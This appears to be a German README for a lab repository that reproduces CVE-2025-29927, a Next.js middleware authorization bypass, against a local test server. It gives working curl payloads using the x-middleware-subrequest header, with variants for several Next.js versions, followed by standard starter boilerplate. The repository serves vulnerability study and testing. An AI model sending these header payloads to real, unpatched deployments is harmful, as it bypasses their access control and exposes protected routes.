
Reproduktionsumgebung für CVE-2025-29927, die eine Next.js-Middleware-Autorisierungsumgehung über den x-middleware-subrequest-Header demonstriert. Enthält curl-basierte Exploit-Schritte für mehrere Next.js-Versionen.
Dieses Repository ist eine Reproduktion der CVE-2025-29927 Schwachstelle im next Paket
/api/hello verweigert.$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5-mal in den speziellen x-middleware-subrequest Header verschachteln:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Die Versionen Next.js 12 und 13 hatten eine andere Namenskonvention für die Middleware-Datei (_middleware.js), die in Next.js 14 auf middleware.js geändert wurde. Diese Schwachstelle kann in älteren Versionen durch Verwendung der Datei _middleware.js ausgenutzt werden.
Zum Beispiel würden die folgenden Payloads gelten, abhängig von der Next.js-Version und Ihrer Routing-Konvention:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (für Next.js Versionen 12.2 mit der Datei middleware.js im Stammverzeichnis der App, nicht im Verzeichnis pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (für Next.js Versionen 11 bis einschließlich 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloStarten Sie zuerst den Entwicklungsserver:
npm run dev
# oder
yarn dev
# oder
pnpm dev
# oder
bun dev
Öffnen Sie http://localhost:3000 in Ihrem Browser, um das Ergebnis zu sehen.
Sie können die Seite bearbeiten, indem Sie app/page.js ändern. Die Seite wird beim Bearbeiten der Datei automatisch aktualisiert.
Dieses Projekt verwendet next/font, um Geist, eine neue Schriftfamilie für Vercel, automatisch zu optimieren und zu laden.
Um mehr über Next.js zu erfahren, werfen Sie einen Blick auf die folgenden Ressourcen:
Sie können sich das Next.js GitHub Repository ansehen - Ihr Feedback und Ihre Beiträge sind willkommen!
Der einfachste Weg, Ihre Next.js-App bereitzustellen, ist die Nutzung der Vercel Plattform von den Erstellern von Next.js.
Weitere Informationen finden Sie in unserer Next.js Bereitstellungsdokumentation.
Bitte konsultieren Sie CONTRIBUTING für Richtlinien zur Mitarbeit an diesem Projekt.